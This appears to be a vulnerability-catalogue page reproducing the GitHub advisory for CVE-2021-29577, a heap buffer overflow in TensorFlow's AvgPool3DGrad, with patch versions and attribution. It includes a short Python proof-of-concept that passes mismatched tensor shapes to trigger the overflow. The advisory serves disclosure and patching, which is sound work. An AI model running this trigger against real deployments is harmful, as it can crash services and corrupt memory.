MISFIRE

Browse / AI Framework and Platform Flaws / CVE-2021-29577

Heap buffer overflow in `AvgPool3DGrad`

CVE-2021-29577 ยท 2021-05-21 low

Class
AI Framework and Platform Flaws (filed by a model that read the source)
Technique
Memory corruption
Affected
tensorflow-cpu, tensorflow (PyPI)
CVSS
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
EPSS
0.2% chance of exploitation in 30 days

How it works, in short

Mismatched dimensions between the original input shape and the gradient tensor are not validated, so the kernel writes past a heap buffer. (Our summary, written by a model. The source text is below.)

Details

Impact

The implementation of tf.raw_ops.AvgPool3DGrad is vulnerable to a heap buffer overflow:

import tensorflow as tf

orig_input_shape = tf.constant([10, 6, 3, 7, 7], shape=[5], dtype=tf.int32)
grad = tf.constant([0.01, 0, 0], shape=[3, 1, 1, 1, 1], dtype=tf.float32)
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"

tf.raw_ops.AvgPool3DGrad(
  orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides,
  padding=padding)

The implementation assumes that the orig_input_shape and grad tensors have similar first and last dimensions but does not check that this assumption is validated.

Patches

We have patched the issue in GitHub commit 6fc9141f42f6a72180ecd24021c3e6b36165fe0d.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

References

Source: GitHub Advisory Database, used under CC BY 4.0.